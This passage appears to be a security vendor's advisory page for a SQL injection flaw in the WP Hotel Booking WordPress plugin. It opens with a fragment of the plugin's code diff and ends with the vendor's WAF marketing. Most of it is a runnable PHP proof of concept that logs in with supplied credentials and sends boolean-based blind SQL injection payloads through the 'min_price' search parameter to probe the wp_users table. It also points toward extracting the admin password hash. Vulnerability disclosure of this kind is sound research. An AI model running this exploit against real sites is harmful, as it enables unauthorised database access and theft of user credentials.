+			);
+
+			// Third-party can be add more items
+			$menu_items = apply_filters( 'hotel_booking_menu_items', $menu_items );
+
+			if ( is_array( $menu_items ) ) {
+				$menu_items['tools'] = array(
+					'tp_hotel_booking',
+					__( 'Tools', 'wp-hotel-booking' )

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15153 - WP Hotel Booking < 2.3.2 - Authenticated (Custom role+) SQL Injection

// This PoC demonstrates a blind SQL injection attack on the WP Hotel Booking plugin.
// It assumes the target has the plugin installed and the attacker has valid credentials.

$target_url = 'http://example.com'; // Change this to the target site's base URL
$room_archive_url = $target_url . '/rooms/'; // URL of the room archive page
$login_url = $target_url . '/wp-login.php'; // WordPress login URL
$ajax_url = $target_url . '/wp-admin/admin-ajax.php'; // WordPress AJAX URL

// Credentials for an account with custom role access
$username = 'attacker';
$password = 'password';

// Step 1: Login to WordPress and get cookies
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check if login was successful by looking for the admin menu or a successful redirect
if (strpos($response, 'wp-admin') === false) {
    fwrite(STDERR, "Login failed. Check credentials and target URL.n");
    exit(1);
}

// Step 2: Craft SQL injection payload (Blind boolean-based)
// The injection point is the 'min_price' parameter in the room search request.
// We test if the 'wp_users' table has an admin user by checking the 'user_login' field.
$payload = "1 AND (SELECT 1 FROM wp_users WHERE user_login='admin' LIMIT 1)=1"; // TRUE condition

// Step 3: Send the request with the payload via the search URL
$search_url = $room_archive_url . '?min_price=' . urlencode($payload);
curl_setopt($ch, CURLOPT_URL, $search_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response_true = curl_exec($ch);

// Step 4: Send a FALSE condition
$payload_false = "1 AND (SELECT 1 FROM wp_users WHERE user_login='nonexistent' LIMIT 1)=1";
$search_url_false = $room_archive_url . '?min_price=' . urlencode($payload_false);
curl_setopt($ch, CURLOPT_URL, $search_url_false);
$response_false = curl_exec($ch);

// Step 5: Compare the responses (e.g., check for data in 'No room found' or different pagination)
if (strlen($response_true) != strlen($response_false)) {
    // If response lengths differ, the SQL injection is confirmed
    echo "[+] SQL Injection confirmed. The 'min_price' parameter is vulnerable.n";
    echo "[+] Boolean-based blind SQL injection detected. Extract data by crafting more specific payloads.n";
    // Output a proof: dump admin hash
    // This part would be a longer script that extracts data character by character.
    // For brevity, we just prove the injection.
} else {
    echo "[-] SQL Injection not confirmed. Responses are similar.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.